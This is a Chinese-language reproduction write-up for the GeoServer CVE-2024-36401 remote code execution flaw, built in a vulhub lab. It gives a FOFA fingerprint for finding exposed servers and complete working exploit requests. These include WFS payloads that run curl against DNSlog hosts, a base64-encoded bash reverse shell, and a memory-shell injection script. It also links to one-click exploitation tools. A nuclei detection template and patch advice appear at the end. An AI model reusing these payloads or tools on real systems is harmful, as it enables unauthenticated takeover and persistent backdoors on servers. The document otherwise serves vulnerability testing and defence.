一、geoserver简介
GeoServer是一款由 GeoTools(GeoTools 是一个用于处理地理数据的 Java 库) 库驱动的,基于Java的开源地理信息服务器,遵循OGC开放标准(如WMS、WFS、WCS等),主要用于发布、管理和共享地理空间数据。它支持多种数据格式(包括PostGIS、Shapefile、GeoTIFF等),允许用户通过Web服务动态生成地图或直接传输矢量/栅格数据,并提供数据编辑(WFS-T)、样式定制(SLD)及缓存优化等功能。作为空间数据基础设施的核心组件,GeoServer可集成到Google Earth、OpenLayers等客户端,广泛应用于在线地图服务、资源管理和空间分析等领域。
- fofa指纹:
app="GeoServer"
二、CVE-2024-36401
2.1 概述
CVE-2024-36401是GeoServer中存在的高危远程代码执行漏洞,其CVSS评分为9.8。该漏洞源于GeoServer调用的GeoTools库在解析属性名称时,以不安全的方式将数据传递给commons-jxpath库,导致未经身份认证的攻击者可通过构造恶意请求(如WFS/WMS的特定OGC请求)注入恶意XPath表达式,从而在目标服务器上执行任意代码并获取控制权限。
2.2 影响版本
受影响的版本包括GeoServer 2.23.6之前、2.24.4之前和2.25.2之前的版本,即geoserver<=2.23.5,geoserver<=2.24.3,geoserver<=2.25.1。
官方已发布修复版本(如2.25.2、2.24.4等),建议用户升级或通过删除易受攻击的gt-complex-x.y.jar文件临时缓解风险。
三、漏洞复现
3.1 环境搭建
基于vulhub搭建2.23.2
版本的geoserver服务。
[root@localhost CVE-2024-36401]# pwd
/root/vulhub/geoserver/CVE-2024-36401
[root@localhost CVE-2024-36401]# ls
1.png 2.png 3.png docker-compose.yml README.md README.zh-cn.md
[root@localhost CVE-2024-36401]# cat docker-compose.yml
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"
[root@localhost CVE-2024-36401]#
docker compose up -d
拉取镜像报错
- 报错信息
[root@localhost CVE-2024-36401]# docker compose up -d WARN[0000] /root/vulhub/geoserver/CVE-2024-36401/docker-compose.yml: `version` is obsolete [+] Running 1/1 ✘ web Error Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceede... 16.2s Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) [root@localhost CVE-2024-36401]#
镜像拉取失败。
- 在mac本地拉取镜像并保存未tar包
![]()
(base) ~ docker pull vulhub/geoserver:2.23.2 2.23.2: Pulling from vulhub/geoserver 1fe172e4850f: Pull complete 44d3aa8d0766: Pull complete 6ce99fdf16e8: Pull complete 514ad6c81b7a: Pull complete 4f4fb700ef54: Pull complete Digest: sha256:e40446b89315788f66349a4a26e6998ee249e18b011f5597650632cf7f9efc24 Status: Downloaded newer image for vulhub/geoserver:2.23.2 docker.io/vulhub/geoserver:2.23.2
docker save vulhub/geoserver -o geoserver.tar
![]()
- Centos7 加载镜像tar包
docker load -i geoserver.tar
![]()
重新构建环境:
docker compose up -d
3.2 访问测试
http://192.168.52.3:8080/geoserver/index.html
在进行漏洞复现时需要注意:typeNames必须存在,访问:/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false
或点击Layer Preview
功能,查看当前服务器中的所有Types:
3.3 漏洞复现-DNSlog/touch文件
3.3.1 POST-POC
- 用yakit生成一个域名:
- 构造数据包ping 生成的域名
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping mgjhnkbava.lfcx.eu.org")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
没有复现成功。
将ping命令换成curl命令复现成功。
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl mgjhnkbava.lfcx.eu.org")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
- 构造数据包curl 访问kali的web服务
kali开启web服务
python3 -m http.server
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl http://192.168.52.6:8000/hello")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
成功RCE,发送get请求到kali的web服务器。
- 创建文件
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 323
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"touch ./2.txt")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
成功创建文件。
3.3.2 GET-POC
curl命令后的空格用%20编码,否则复现不成功。
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20mcyubscrtx.zaza.eu.org') HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
3.4 反弹shell
sh -i >& /dev/tcp/192.168.52.6/8888 0>&1 #shell代码
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41Mi42Lzg4ODggMD4mMQ== #base64编码
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41Mi42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
成功反弹shell:
四、GUI利用工具
- 地址:https://github.com/netuseradministrator/CVE-2024-36401/releases/download/CVE-2024-36401/geoserver.exe
- CVE-2024-36401漏洞图形化利用工具,功能包含命令执行、反弹shell、低版本JDK注入内存马。【注意是低版本jdk】
4.1 一键漏洞检测
4.2 一键反弹shell
填写ip和端口:
kali获取反弹连接:
4.3 一键注入内存马【jdk17注入内存马失败】
⚠️:geoserver.exe工具适用于低版本的jdk注入漏洞。
- 输入漏洞url后直接点击注入内存马:
返回500 Server Error大概率表明是注入内存马失败了,注入成功应该返回的是400状态码。
- 哥斯拉连接失败
- 查看java版本:
jdk17注入内存马失败。
4.4 jmg 内存马【jdk17注入内存马失败】
java -jar jMG-gui-1.0.8.jar
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="内存马base64";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
将生成的内存马base64填入到var str="内存马base64";
但是注入失败,还是因为当前环境jdk版本过高的问题。参考下面的链接,jdk11是可以注入成功的。
jdk11注入内存马参考:https://yzddmr6.com/posts/geoserver-memoryshell/
4.5 GeoServer-Tools-CVE-2024-36401🌟🌟🌟
地址:https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401
工具功能包括:通过dnslog查看jdk版本、命令执行、注入内存马。
4.5.1 dnslog获取jdk版本信息
前缀17.0.2标识jdk的版本。
4.5.2 执行命令
4.5.3 注入内存马
- 注入内存马(jdk17注入内存马需要用提供jdk9+的javac编译工具代码)
- 冰蝎连接
连接失败。
需要修改一下连接的路径:
http://192.168.52.3:8080/geoserver/123
成功连接。
五、nuclei-POC
编写nuclei-poc进行检测:
id: CVE-2024-36401-GeoServer-wfs-rce
info:
name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
author: sixiaokai
severity: critical
description: GeoServer 远程代码执行漏洞(CVE-2024-36401)
http:
- raw:
- |-
@timeout: 30s
POST /geoserver/wfs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
Content-Length: 324
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"touch /tmp/test.txt")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
max-redirects: 3
matchers-condition: and
matchers:
- type: status
status:
- 400
- type: word
words:
- "java.lang.ClassCastException"
六、防御
6.1 修复建议
GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。
6.2 临时缓解措施
删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。
参考
- https://cloud.tencent.com/developer/article/2470016 【CVE-2024-36401:GeoServer未授权RCE漏洞】
- https://cloud.tencent.com/developer/article/2437213 【【漏洞复现】Geoserver远程代码执行漏洞(CVE-2024-36401)】
- https://cloud.tencent.com/developer/article/2435923 【CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)】
- https://github.com/netuseradministrator/CVE-2024-36401?tab=readme-ov-file 【利用工具】
- https://yzddmr6.com/posts/geoserver-memoryshell/ 【GeoServer property RCE注入内存马】
- https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/GeoServer/GeoServer%E5%B1%9E%E6%80%A7%E5%90%8D%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2024-36401).md 【GeoServer属性名表达式前台代码执行漏洞(CVE-2024-36401)】
- https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401 【GeoServer-Tools-CVE-2024-36401】